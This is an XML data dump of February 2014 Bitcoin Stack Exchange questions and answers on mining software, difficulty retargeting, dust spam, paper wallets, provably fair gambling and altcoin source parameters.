  <row Id="22579" PostTypeId="1" AcceptedAnswerId="22602" CreationDate="2014-02-23T18:14:31.707" Score="6" ViewCount="4432" Body="&lt;p&gt;What is the difference between BFGMiner and CGMiner in Laymen's terms?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, the longterm outcome will be exactly the same if mining is done with or without a pool, correct?&lt;/p&gt;&#xA;" OwnerUserId="13796" LastEditorUserId="5406" LastEditDate="2016-04-17T19:09:04.873" LastActivityDate="2016-04-17T19:09:04.873" Title="BFGMiner vs. CGMiner" Tags="|mining-pools|cgminer|mining-software|bfgminer|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22580" PostTypeId="1" AcceptedAnswerId="22582" CreationDate="2014-02-23T18:26:54.477" Score="1" ViewCount="187" Body="&lt;p&gt;I have a bitcoin lottery that is still in the prototype stage (bitsplit.it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe that the game will be much more appealing, for certain reasons, if players (and the house) both don't know when the next winner will be chosen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I am having a hard time with coming up with a (feasible) way to prove that the house doesn't know when the pot will split.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas are greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="13797" LastActivityDate="2014-02-24T02:43:22.130" Title="Provably fair unknown event time for Bitcoin gambling" Tags="|gambling|provably-fair|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22581" PostTypeId="1" AcceptedAnswerId="22584" CreationDate="2014-02-23T19:05:56.633" Score="4" ViewCount="858" Body="&lt;p&gt;I'm trying to calculate the new target for Block 32256, but I'm not getting the expected result. Here's what I did:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Timestamp of &lt;a href=&quot;http://blockexplorer.com/block/00000000984f962134a7291e3693075ae03e521f0ee33378ec30a334d860034b&quot; rel=&quot;nofollow noreferrer&quot;&gt;the previous block (32255)&lt;/a&gt; = &lt;code&gt;1262152739&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Timestamp of &lt;a href=&quot;http://blockexplorer.com/block/000000000fa8bfa0f0dd32f956b874b2c7f1772c5fbedcb1b35e03335c7fb0a8&quot; rel=&quot;nofollow noreferrer&quot;&gt;block (32255 - 2015 = 30240)&lt;/a&gt; = &lt;code&gt;1261130161&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Diff: &lt;code&gt;1262152739 - 1261130161 = 1022578&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Note that there is no limit adjustment (1/2 weeks &amp;lt; &lt;code&gt;1022578&lt;/code&gt; &amp;lt; 8 weeks)&lt;/li&gt;&#xA;&lt;li&gt;Current target (0x1d00ffff) = &lt;code&gt;26959535291011309493156476344723991336010898738574164086137773096960&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Multiply the difference with current target&lt;br&gt;&#xA;=  &lt;code&gt;1022578 * 26959535291011309493156476344723991336010898738574164086137773096960&lt;/code&gt;&lt;br&gt;&#xA;= &lt;code&gt;27568227678811762838892963267635169612395352810293691562874591737943162880&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Divide by two weeks&lt;br&gt;&#xA;&lt;code&gt;27568227678811762838892963267635169612395352810293691562874591737943162880 / 1209600&lt;/code&gt;&lt;br&gt;&#xA;= &lt;code&gt;22791193517536179595645637622052884930882401463536451358196587084939&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;From what I understand, this should be the new target for block 32256 and the following 2015 blocks. However, it isn't - the correct new target as given in blockexplorer is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;22791060871177364286867400663010583169263383106957897897309909286912&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, my result was kind of in the ballpark, but not correct. What am I missing here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Related questions:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/5838/how-is-difficulty-calculated&quot;&gt;How is difficulty calculated?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/2924/how-to-calculate-new-bits-value&quot;&gt;How to calculate new “bits” value?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7566" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2017-07-06T09:09:39.170" Title="How was the new target for block 32256 calculated?" Tags="|protocol|difficulty|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22582" PostTypeId="2" ParentId="22580" CreationDate="2014-02-23T19:07:49.080" Score="3" Body="&lt;p&gt;You could leverage the blockchain itself and use something based on the hash of the current block. For example, the block hash will end in a 0 bit roughly half the time. It will end in 00 bits roughly 25% of the time, etc. This is exactly the same idea as the bitcoin &quot;difficulty&quot; parameter, you would be using the hashes as a roughly constant rate stream of unpredictable random bits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think everybody who participates would agree that the block hashes are not predictable in advance.&lt;/p&gt;&#xA;" OwnerUserId="11253" LastActivityDate="2014-02-23T19:07:49.080" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22584" PostTypeId="2" ParentId="22581" CreationDate="2014-02-23T19:52:51.543" Score="3" Body="&lt;p&gt;The actual target (and thus difficulty) is determined by its compact 32-bit encoding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After the computation you did above, you should round it to the nearest compactly-representable target (24-bit accuracy, multiple of 256). That is the target encoded inside blocks, and the one that matters.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2014-02-23T19:52:51.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22585" PostTypeId="1" AcceptedAnswerId="22587" CreationDate="2014-02-23T20:36:57.510" Score="2" ViewCount="252" Body="&lt;p&gt;If challenged, I could do this on demand with an amount of the challenger's choosing, to 'prove' I have control of the funds.&lt;/p&gt;&#xA;" OwnerUserId="5450" LastActivityDate="2014-02-24T00:26:19.880" Title="Can I have a transaction where the source and destination are the same?" Tags="|transactions|" AnswerCount="2" CommentCount="1" ClosedDate="2014-02-25T18:58:25.923" ContentLicense="CC BY-SA 3.0" />
  <row Id="22586" PostTypeId="1" AcceptedAnswerId="22588" CreationDate="2014-02-23T20:42:17.887" Score="4" ViewCount="748" Body="&lt;p&gt;My Multi-Bit client shows 1 satoshi sent to me in my receiving transactions, with 1 confirmation only. The receiving address is quite old too. Why is that showing up when I didn't send myself anything and no one would have any reason to send me anything?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  fc973596838c5d001efd77060c775cd85f0ac3821ae813e64116d9eb66ead30a: Seen by 1 peer. Pending/unconfirmed.&#xA;     from 1Enjoy1C4bYBr3tN4sMKxvvJDqG8NkdR4Z / 3d96dee6b4aaeeed1d5a95446c6fba4ab3ff0664aaf76773428c485d86f697fb:1&#xA;       to 1Pfe9cYYQYGbKdSddLxuFyYRmvNoFPgVWu 0.00000001 BTC&#xA;       to 1Meshuse4ZU16HjLmnUCYt3DFEHvp1qscw 0.00000001 BTC&#xA;       to 1PKE81BAg8RHYLGqLCsVcnWCspcfekokwG 0.00000001 BTC&#xA;       to 18omoJATGraMgghRrocCoSnR2gz6mx8DkW 0.00000001 BTC&#xA;       to 19qn25QVqn3ZH6UT63PbgtSBsyAgyaWxAA 0.00000001 BTC&#xA;       to 1HNyt3qg3qgL2XhhcsjMD6d9zpDB98Kqqw 0.00000001 BTC&#xA;       to 1CrRqLtF766WTAx1VEzJr9rwFWjV5xpqAX 0.00000001 BTC&#xA;       to 1D6JBqA5ixpvNS4RjthapT4c5zkut4yNf1 0.00000001 BTC&#xA;... body is limited to 30,000 characters ....&#xA;       to 17jVF27wAV9bhneRFsnLTySMUjtPWHZVwB 0.00000001 BTC&#xA;       to 1MoVuJTG4DV1r37Ew11ePWefn3uFb8vDmm 0.00000001 BTC&#xA;       to 1GBE3BrqzfevPDsSzJaJpTa1VyKMWTt5MZ 0.00000001 BTC&#xA;       to 1BMR6fDvuqPan3QA9iNUJxXeHtvLKmRaeq 0.00000001 BTC&#xA;       to 1Enjoy1C4bYBr3tN4sMKxvvJDqG8NkdR4Z 0.0000225 BTC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3267" LastActivityDate="2014-02-23T20:52:33.230" Title="Why do my transactions show I received 1 satoshi?" Tags="|transactions|multibit|raw-transaction|satoshi|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22587" PostTypeId="2" ParentId="22585" CreationDate="2014-02-23T20:44:43.733" Score="2" Body="&lt;p&gt;Yes, it is possible to send to the same address. However, to prove control of an address, you could instead &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3898/how-does-sign-message-work&quot;&gt;sign a message&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2014-02-23T20:44:43.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22588" PostTypeId="2" ParentId="22586" CreationDate="2014-02-23T20:52:33.230" Score="5" Body="&lt;p&gt;That particular transaction is an attempt at something that has become known as &quot;dust spam&quot;. The idea is that the sender sends a very small amount of bitcoin to many different addresses, hoping that people will notice and investigate further. It's possible to find out who sent this if you look hard enough, but most people won't bother. The effectiveness of this kind of spam is clearly limited.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more information, see the Reddit thread &lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/1xl6x2/psa_did_you_receive_a_dust_amount_of_btc_from/&quot; rel=&quot;noreferrer&quot;&gt;PSA: Did you receive a &quot;dust&quot; amount of BTC from &quot;Enjoy&quot; and &quot;Sochi&quot;? Here's why&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="11253" LastActivityDate="2014-02-23T20:52:33.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22589" PostTypeId="1" AcceptedAnswerId="22594" CreationDate="2014-02-23T21:39:32.840" Score="2" ViewCount="615" Body="&lt;p&gt;In the standard pay-to-pubKeyHash scriptSig, which form of the public key should be used. My understanding is that both the compressed (33 bytes) and the expanded (64 bytes) are both valid. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any of these two that is considered &quot;standard&quot;? Will the reference implementation propagate transactions containing either form, or will it withhold one?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IMO, I should use the compressed version since it will result in smaller transactions.&lt;/p&gt;&#xA;" OwnerUserId="12455" LastActivityDate="2015-02-22T18:02:25.670" Title="In ScriptSig, which form of the public key is considered canonical?" Tags="|public-key|ecdsa|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22590" PostTypeId="1" AcceptedAnswerId="22593" CreationDate="2014-02-23T22:51:21.243" Score="1" ViewCount="117" Body="&lt;p&gt;The majority of pools I see that they use a period such that:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;username.workername&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;others use:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;username_workename&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see that it definitely is not interchangeable.  How come some pools use underscore (such as bitminter and btcguild)  and others use a period (like gigahash.io)?&lt;/p&gt;&#xA;" OwnerUserId="5486" LastEditorUserId="5406" LastEditDate="2014-02-23T23:11:22.900" LastActivityDate="2014-02-24T02:20:29.520" Title="Why do some pools require a worker name with an underscore and others require a period?" Tags="|mining-pools|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22591" PostTypeId="1" CreationDate="2014-02-23T23:40:21.903" Score="1" ViewCount="5857" Body="&lt;p&gt;Every time I launch BFG Miner I have to add the devices by entering the com port it is on. Is there anyway to do this automatically?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my start script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bfgminer -o stratum.bitcoin.cz:3333 -u Bgordy2014.RaspberryPi -p PW -G&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I was thinking along the lines of -D erupter:\.\COM3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;D equaling devices&lt;/p&gt;&#xA;" OwnerUserId="13804" LastEditorUserId="5406" LastEditDate="2016-04-25T20:23:52.450" LastActivityDate="2016-04-25T20:23:52.450" Title="Auto Adding Devices to BFGMiner" Tags="|miner-configuration|asic|bfgminer|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22592" PostTypeId="2" ParentId="22585" CreationDate="2014-02-24T00:26:19.880" Score="0" Body="&lt;p&gt;Transactions come from an account (wallet) to an address contained in another account. If you have 2 btc in your wallet, they will actually be made up of a history attached to each fraction of those coins ever spent in a previous transactions. In other words you have fractions of coins that add up to 2 btc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you spend/send btc in a transaction your account bundles the fractions to equal the new sum. If the fractions don't add up equally to the new transaction total, you will receive change back to your account, most likely in a new address created during the transaction. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the goal is to consolidate multiple addresses in your wallet to one, it would be prohibitively difficult due to the these fractions of btc. I would create a new account with one address then send your entire balance there. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is not needed to prove ownership. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please correct me if I'm wrong. &lt;/p&gt;&#xA;" OwnerUserId="11539" LastActivityDate="2014-02-24T00:26:19.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22593" PostTypeId="2" ParentId="22590" CreationDate="2014-02-24T02:20:29.520" Score="4" Body="&lt;p&gt;These are just arbitrary rules. Made by the pool admin. Really doesn't matter.&lt;/p&gt;&#xA;" OwnerUserId="13751" LastActivityDate="2014-02-24T02:20:29.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22594" PostTypeId="2" ParentId="22589" CreationDate="2014-02-24T02:24:33.197" Score="1" Body="&lt;p&gt;Both are valid and accepted as canonical. They are NOT interchangeable however - the same public key in compressed form is hashed to a different address than that in uncompressed form. You can only use compressed form if the unspent output address is compressed.&lt;/p&gt;&#xA;" OwnerUserId="13751" LastActivityDate="2014-02-24T02:24:33.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22595" PostTypeId="2" ParentId="20024" CreationDate="2014-02-24T02:25:55.023" Score="1" Body="&lt;p&gt;I was able to get my Nanofury working on Linux (rPi raspbian) and bfgminer 3.10.0 with a few permissions changes.  You really have three options:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Run bfgminer as root (undesireable)&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add the user running bfgminer to the &quot;root&quot; group:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;usermod -G root -a miner&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Change group ownership of the usb device (you will need to determine which one is your Nanofury device):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;chgrp dialout /dev/bus/usb/001/006&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Option 1 is the easiest, 3 is the most secure.  I went with option 2 as a middle-ground.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also reverted commit &lt;code&gt;8383e33&lt;/code&gt; (&lt;code&gt;git revert 8383e33&lt;/code&gt;) from the bfgminer git repository, which gets rid of the &quot;reinitializing&quot; warning, and gives me a better hashrate.  I don't know the long-term effect of reverting this commit, though...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To start the miner, I use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/path/to/bfgminer -S NFY:ALL --set-device NFY:osc6_bits=54&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Once you have everything set up, you can write your settings (S, W,  in bfgminer) and you can drop the -S NFY:ALL.  You still need the --set-device, as far as I can tell, though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps!&lt;/p&gt;&#xA;" OwnerUserId="13698" LastEditorUserId="13698" LastEditDate="2014-03-24T14:54:05.100" LastActivityDate="2014-03-24T14:54:05.100" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22596" PostTypeId="2" ParentId="22580" CreationDate="2014-02-24T02:33:06.553" Score="0" Body="&lt;p&gt;Usually the house just needs to commit to a random piece of data ahead of the game by publishing a hash of the data (possibly concatenated with some additional salt), then later it can prove that the data is not changed based on players' bets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: let's consider a basic game where the house picks a card between 2 to 9 and the player tries to guess the card. To prove that the house indeed picks card at random, it needs to commit to the card ahead by publishing a hash of the card concatenated with some random nonce. After player picks his guess, house can reveal the nonce and show that the card was indeed picked before player made his bet.&lt;/p&gt;&#xA;" OwnerUserId="13751" LastEditorUserId="13751" LastEditDate="2014-02-24T02:43:22.130" LastActivityDate="2014-02-24T02:43:22.130" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22597" PostTypeId="1" CreationDate="2014-02-24T02:48:26.090" Score="2" ViewCount="1859" Body="&lt;p&gt;I'am very confused. I just read on the &lt;a href=&quot;http://bitcoinpaperwallet.com&quot; rel=&quot;nofollow&quot;&gt;most popular services&lt;/a&gt; for paper wallets that &quot;You should always spend all the funds on a paper wallet, not part of it or you will lose the rest&quot; . It links back to a &lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/1c9xr7/psa_using_paper_wallets_understanding_change/&quot; rel=&quot;nofollow&quot;&gt;reddit discussion&lt;/a&gt; with a short explanation that I don't really understand.  Apparently it has to do with change addresses. This sucks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the last 3 months I've been using paper-wallets for several transaction of partial amounts without loosing anything. I generated privatekey + public key with vanity gen, imported the read-only public address into blockchain mobile app, and went on spending (scanning private key at need) and receiving on that very same address. Am I being lucky, wrong, or what? I really don't get it&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also printed several paper wallets for friends and workshops and after being imported (electrum, blockchain.info app) I saw people making partial transaction without losing the other part.&lt;/p&gt;&#xA;" OwnerUserId="3826" LastActivityDate="2014-02-24T15:24:37.223" Title="&quot;always spend all balance of paper wallets&quot; - Then why am I using my paper-wallet for multiple transactions without any problem?" Tags="|address|paper-wallet|change|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22598" PostTypeId="2" ParentId="22597" CreationDate="2014-02-24T02:54:42.487" Score="2" Body="&lt;p&gt;Properly implemented software is supposed to handle partial spend from paperwallets (and send change back to the same wallet) without any drama. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I remember correctly, in the reddit incident the change somehow got lost and was not specified in the tx outputs - as a result they went to the miners as transaction fees.&lt;/p&gt;&#xA;" OwnerUserId="13751" LastActivityDate="2014-02-24T02:54:42.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22599" PostTypeId="1" CreationDate="2014-02-24T05:13:01.803" Score="2" ViewCount="326" Body="&lt;p&gt;My understanding is that the blockchain is exclusively built by miners. My question is, why isn't that verification done by every Bitcoin client - kinda like p2p file sharing programs allowed people to use the network (download) and support the network (upload)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the difference between &quot;verifying&quot; the transaction, and the &quot;proof of work&quot;? My understanding of verifying transactions is that all inputs to and outputs from an address are added up, ensuring along the way that there is enough that has in-come before-hand to allow each output. If each node in the network does this, all nodes will agree and blockchain spoofers would be drowned out by the masses. Is this not sufficient proof?&lt;/p&gt;&#xA;" OwnerUserId="13810" LastEditorUserId="5406" LastEditDate="2016-03-11T15:08:04.610" LastActivityDate="2016-03-11T15:08:04.610" Title="Why aren't Bitcoin transactions processed and verified by normal Bitcoin clients?" Tags="|blockchain|hashpower|mining-theory|transaction-verification|consensus|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22600" PostTypeId="2" ParentId="22591" CreationDate="2014-02-24T06:28:46.697" Score="3" Body="&lt;p&gt;&lt;code&gt;-S all&lt;/code&gt; will attempt autodetection.&lt;/p&gt;&#xA;" OwnerUserId="13413" LastActivityDate="2014-02-24T06:28:46.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22601" PostTypeId="2" ParentId="22599" CreationDate="2014-02-24T06:30:50.617" Score="0" Body="&lt;p&gt;Without miners there would be no consensus, anybody could present a false reality to other users and isolate them from the truth. Building blocks is difficult, which makes it impossible for a malicious user to fabricate history. In actuality every node verifies every bit of the transaction history, and also provides data (&quot;seeding&quot;) to other nodes in a mesh fashion. It's a distributed as it needs to be. &lt;/p&gt;&#xA;" OwnerUserId="13413" LastActivityDate="2014-02-24T06:30:50.617" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22602" PostTypeId="2" ParentId="22579" CreationDate="2014-02-24T06:32:25.970" Score="5" Body="&lt;p&gt;&lt;code&gt;bfgminer&lt;/code&gt; is a fork of &lt;code&gt;cgminer&lt;/code&gt;. &lt;code&gt;bfgminer&lt;/code&gt; allows the use of Get Block Template (less trust in the pool), but they're otherwise functionally the same. &lt;/p&gt;&#xA;" OwnerUserId="13413" LastEditorUserId="13413" LastEditDate="2014-02-24T08:46:02.027" LastActivityDate="2014-02-24T08:46:02.027" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22603" PostTypeId="1" CreationDate="2014-02-24T06:48:15.817" Score="2" ViewCount="141" Body="&lt;p&gt;I just feel a gaping hole in my logic, or maybe a duplicate question, so I'm prepared to quickly remove this question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering how theft could be prevented in an economy that relies primarily on a cryptocurrency such as BTC. I own BTC, so I was wondering if someone believed that I had Bitcoin and wanted to rob me (perhaps at gunpoint), what would prevent him/her from exhausting all the money I have until he/she believes I have no money left? Again, this is supposing that this is in an economy that hypothetically gotten to the point that it relies primarily on Bitcoin and it would not be uncommon to find a BTC user by choosing at random. Would some sort of a third-party transaction-handler securely transact BTC in some way that would prevent theft? I can't seem to figure this one out.&lt;/p&gt;&#xA;" OwnerUserId="13621" LastActivityDate="2014-05-08T14:35:22.093" Title="How could BTC be used and transacted on a daily basis without physical theft?" Tags="|theft|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22604" PostTypeId="1" CreationDate="2014-02-24T07:53:40.437" Score="4" ViewCount="5468" Body="&lt;p&gt;Vertcoin comes with Adaptive-N-factor, which means the scrypt algorithm PBKDF parameter &lt;code&gt;N&lt;/code&gt; will be changed according to the announced time table. Litecoin has &lt;code&gt;N=10&lt;/code&gt;, while Vertcoin starts with &lt;code&gt;N=11&lt;/code&gt;. And they claim the adaptive-N will resist the ASIC miner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To produce an ASIC produce, it will need a huge amount of initial cost because of the prototyping (FPGA), HDL design, emulation, synthesis and layout, wafer fabrication, packing, and testing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, scrypt ASIC is now a real product (no matter how much it costs now). So re-target it to another new parameter should be not too difficult. I mean the whole architecture does not change (PBKDF is the same; only some parameters change, such as memory size and &lt;code&gt;N&lt;/code&gt;), so the new ASIC development won't need to be started from the scratch up, such that cost is relative smaller than the initial product started from ground zero. Moreover, at the time of &lt;code&gt;N&lt;/code&gt; adjustment at Jan 2016, the transistor size will be smaller and memory speed will be much higher, new technology will also enable the realization of the new ASIC miners for the new &lt;code&gt;N&lt;/code&gt; factors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If CPU/GPU can do the scrypt adaptive-N-factor algorithm at that time, I can say ASIC can also do that if there is a market and lots of demands. My idea is that, if vertcoin is very profitable (like or surpass BTC), Those ASIC company would also love to produce their ASIC miners with new N-factor. They could produce scrypt N=12 miner ready for the N-factor changes at Jan 2016, and announce for the pre-sale 3 or 6 months ago.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To me, adaptive-N-factor is just like one of BTC difficulty things. No one is mining BTC with miners whose hashrate is MHs or 10GHs or below, although all BTC miners are using the same proof-of-work algorithm &lt;code&gt;SHA&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="9307" LastEditorUserId="9307" LastEditDate="2014-02-24T16:02:01.110" LastActivityDate="2014-06-25T20:19:15.003" Title="Is Vertcoin really ASIC resistant?" Tags="|asic|altcoin|scrypt|vertcoin|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22605" PostTypeId="1" AcceptedAnswerId="22607" CreationDate="2014-02-24T07:57:31.560" Score="-2" ViewCount="1673" Body="&lt;p&gt;I am new to Bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wanted to know the specifications of coins inside source code. Can any one tell me, &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;em&gt;*&lt;/em&gt; What are those functions and variable which are responsible to get and&#xA;  set the coin specifications values?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Lets say, Coin 'litecoin' and Source &lt;a href=&quot;https://github.com/litecoin-project/litecoin&quot; rel=&quot;nofollow&quot;&gt;https://github.com/litecoin-project/litecoin&lt;/a&gt; and Coin Specifications are:-&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Block Time&lt;/li&gt;&#xA;&lt;li&gt;Block Reward&lt;/li&gt;&#xA;&lt;li&gt;Block Time&lt;/li&gt;&#xA;&lt;li&gt;Block Reward&lt;/li&gt;&#xA;&lt;li&gt;Reward Halfing Time&lt;/li&gt;&#xA;&lt;li&gt;Maxcoins&lt;/li&gt;&#xA;&lt;li&gt;Difficulty Retarget Time&lt;/li&gt;&#xA;&lt;li&gt;Coin Maturity Time&lt;/li&gt;&#xA;&lt;li&gt;Confirmation Time&lt;/li&gt;&#xA;&lt;li&gt;Rpcport&lt;/li&gt;&#xA;&lt;li&gt;Port&lt;/li&gt;&#xA;&lt;li&gt;Testnet port&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="13812" LastActivityDate="2014-02-24T09:47:13.310" Title="coin specifications values in source code" Tags="|litecoin|specification|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="22606" PostTypeId="1" AcceptedAnswerId="22616" CreationDate="2014-02-24T09:38:59.173" Score="7" ViewCount="13711" Body="&lt;p&gt;I cannot find any documentation or an option anywhere in the electrum client to put it into expert mode. I'm not even sure it can be done any longer, and it is important I raise the gap limit. It like chasing after a myth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I put it in expert mode? Why has that been made so difficult? It seems against every principle of free software. &lt;/p&gt;&#xA;" OwnerUserId="5983" LastEditorUserId="5406" LastEditDate="2017-07-06T18:11:12.073" LastActivityDate="2018-02-15T04:59:52.250" Title="More receive addresses with electrum" Tags="|electrum|address-generation|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22607" PostTypeId="2" ParentId="22605" CreationDate="2014-02-24T09:47:13.310" Score="3" Body="&lt;p&gt;It is not like a website where you pass all the data in one config file and the values will be fetched automatically you need to modify many files. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;.gitignore - you will change the name of your coin's output file after compiling &lt;/li&gt;&#xA;&lt;li&gt;base58.h - you will choose the letter by which your coin addresses will start&lt;/li&gt;&#xA;&lt;li&gt;src/bitcoinrpc.cpp - you will mention the output of commands on daemon&lt;/li&gt;&#xA;&lt;li&gt;src/checkpoints.cpp - for genesis block&lt;/li&gt;&#xA;&lt;li&gt;src/init.cpp - again changes the outputs of daemon commands, wallet port, testnet port&lt;/li&gt;&#xA;&lt;li&gt;src/irc.cpp - connect to IRC&lt;/li&gt;&#xA;&lt;li&gt;src.main.cpp - choose max coin per block, block time, maturity etc&lt;/li&gt;&#xA;&lt;li&gt;src/main.h - choose total number of coins that will ever be generated &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;these were the files came in my mind as of now and there are so many more files which needs to be edited.&lt;/p&gt;&#xA;" OwnerUserId="10829" LastActivityDate="2014-02-24T09:47:13.310" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22608" PostTypeId="2" ParentId="22599" CreationDate="2014-02-24T10:02:33.680" Score="2" Body="&lt;p&gt;Transactions are in fact verified by every network node (computer running bitcoin-qt). A transaction which is not valid will not be propagated and the client will not display it to the user as a payment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, a transaction being valid doesn't mean there are no contradicting transactions. What miners do is synchronize the transactions using proof of work as a signal.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2014-02-24T10:02:33.680" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
